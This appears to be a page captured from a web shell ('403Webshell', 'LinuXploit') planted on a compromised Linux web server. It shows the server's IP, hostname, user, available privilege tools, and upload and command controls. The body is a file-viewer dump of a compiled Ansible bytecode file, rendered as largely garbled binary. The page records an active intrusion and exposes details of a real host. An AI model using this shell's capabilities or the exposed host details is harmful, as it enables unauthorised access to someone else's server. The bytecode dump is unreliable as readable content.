403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/playbook/role/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/playbook/role/__pycache__/requirement.cpython-311.pyc
�

���c����ddlmZmZmZeZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZdgZgd�Ze
��ZGd	�de��Zd
S)�)�absolute_import�division�print_function)�AnsibleError)�string_types)�RoleDefinition)�Display��scm_archive_resource�RoleRequirement)�name�role�scm�src�versionc�\�eZdZdZd�Zed���Zed���Zed
d	���ZdS)rz�
    Helper class for Galaxy, which is used to parse both dependencies
    specified in meta/main.yml and requirements.yml files.
    c��dS)N�)�selfs �F/usr/lib/python3.11/site-packages/ansible/playbook/role/requirement.py�__init__zRoleRequirement.__init__0s����c�
�d|vrd|vr|S|�d��d}|�d��r
|dd�}|�d��r
|dd�}d	|vr|�d	��d
}|S)Nz://�@�/���z.git����.tar.gzi�����,r)�split�endswith)�repo_url�
trailing_paths  r�repo_url_to_role_namez%RoleRequirement.repo_url_to_role_name3s���
�� � �S��%8�%8��O� ���s�+�+�B�/�
��!�!�&�)�)�	/�)�#�2�#�.�M��!�!�)�,�,�	/�)�#�2�#�.�M��-���)�/�/��4�4�Q�7�M��rc��t|t��r�d}d}d}d}d|vr�|�d��dkr,|����dd��\}}nZ|�d��dkr-|����dd��\}}}ntd|z���|}|�t�|��}d|vr|�dd��\}}t||||���Sd|vr'|d}d|vrtd|z���|d=||d	<n�|�	��}d
|vr�d|d
vr=d|d
vr3d|d
vr)|d
�
d
��sd|d
z|d
<d|d
vr%|d
�d��\|d<}|d
<d	|vr#t�|d
��|d	<d|vrd|d<d|vrd|d<t|�
����D] }|tvr|�|���!|S)Nr��zEInvalid role line (%s). Proper format is 'role_name[,version[,name]]'�+)r
rrrrz&Invalid old style role requirement: %sr
rz
github.com�httprzgit+rr�)�
isinstancer�count�stripr rrr$�dict�copyr!�	partition�list�keys�VALID_SPEC_KEYS�pop)rr
rrr�dummy�keys       r�role_yaml_parsezRoleRequirement.role_yaml_parseCs����d�L�)�)�	F��D��C��C��G��d�{�{��:�:�c�?�?�a�'�'�%)�Z�Z�\�\�%7�%7��Q�%?�%?�N�S�'�'��Z�Z��_�_��)�)�+/�:�:�<�<�+=�+=�c�1�+E�+E�(�S�'�4�4�&�'n�qu�'u�v�v�v����|�&�<�<�S�A�A���c�z�z� �Y�Y�s�A�.�.�
��c��T�s��W�E�E�E�E��T�>�>���<�D��d�{�{�"�#K�d�#R�S�S�S���L�#��V����9�9�;�;�D���}�}��4��;�.�.�6�T�%�[�3H�3H�S�X\�]b�Xc�Mc�Mc�lp�qv�lw�mA�mA�BK�mL�mL�Mc�"(�4��;�"6�D��K��$�u�+�%�%�6:�5�k�6K�6K�C�6P�6P�3�D��K���U����%�%�#2�#H�#H��e��#U�#U�D��L���$�$�"$��Y���D� � �"��U����	�	���$�$�	�	�C��/�)�)�����
�
�
���r�gitN�HEADFc�*�t|||||���S)N)rr
r�
keep_scm_metar
)rrr
rr;s     r�scm_archive_rolez RoleRequirement.scm_archive_role}s��$�C�S�t�W�\i�j�j�j�jr)r8Nr9F)	�__name__�
__module__�__qualname__�__doc__r�staticmethodr$r7r<rrrrr)s���������

�
�
��
�
��\�
��7�7��\�7�r�k�k�k��\�k�k�krN)�
__future__rrr�type�
__metaclass__�ansible.errorsr�ansible.module_utils.sixr� ansible.playbook.role.definitionr�ansible.utils.displayr	�ansible.utils.galaxyr�__all__r3�displayrrrr�<module>rLs���&C�B�B�B�B�B�B�B�B�B��
�'�'�'�'�'�'�1�1�1�1�1�1�;�;�;�;�;�;�)�)�)�)�)�)�5�5�5�5�5�5��
�������'�)�)��Wk�Wk�Wk�Wk�Wk�n�Wk�Wk�Wk�Wk�Wkr

Youez - 2016 - github.com/yon3zu
LinuXploit